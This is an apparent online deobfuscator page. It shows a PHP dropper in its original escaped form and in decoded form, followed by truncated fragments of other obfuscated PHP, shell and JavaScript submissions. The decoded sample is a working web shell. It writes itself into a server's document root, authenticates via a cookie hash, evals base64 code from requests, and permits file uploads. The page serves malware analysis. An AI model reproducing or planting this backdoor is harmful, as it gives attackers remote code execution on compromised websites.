Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

file_put_contents($_SERVER['DOCUMENT_ROOT'].'/afcbd322a16f.php','<?php echo 409723*20;if(md5($_COOKIE["d"])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>

Decrypted code:

file_put_contents($_SERVER['DOCUMENT_ROOT'].'/afcbd322a16f.php','echo 409723*20;if(md5($_COOKIE["d"])=="028f487cb2a60da3ad3878ec"){echo"ok";eval(base64_decode($_REQUEST["id"]));if($_POST["up"]=="up"){@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);}}

Recent submissions:

<?php $z = base64_decode(base64_decode("Q2dvS0NtbG1LQ0ZwYzNObGRDZ2tYME5QVDB0SlJWc2libVJmY0...  <script language="javascript"> (functi... echo "IyEvdXNyL2Jpbi9lbnYgcGhwCjw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2... fp="/home/wwwiyc/publlic_html/core.php"; if [ ! -s "$fp" ]; then echo "IyEvdXNyL2Jpbi9lbnY... <?php //004fb if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname()... eJxtk2tTgkAUhr87039YY6cBwbyMoyXaVNpkdtHsoqbCcFkUdMAWrND6761KoSx8gT1z9jnnfc/hIAH+Hoa5leRxM3... $FBEPZWWQ = "\x36\x29\x35\x34\x7a\x78\x10\x2b\x35\x34\x20\x2e\x2a"^'THFQLLOOPWOJO';... \x23\x22\x38\x3a\x36\x38\x35\x24\x3c\x20\x2a\x36... var _0x56216a=_0x3405;(function(a,b){var c=_0x3405;for(a=a();;)try{if(-parseInt(c(275))+pa... </script> <script type="text/javascript"> <!-- document.write(unescape('%3c%73%63%72%69...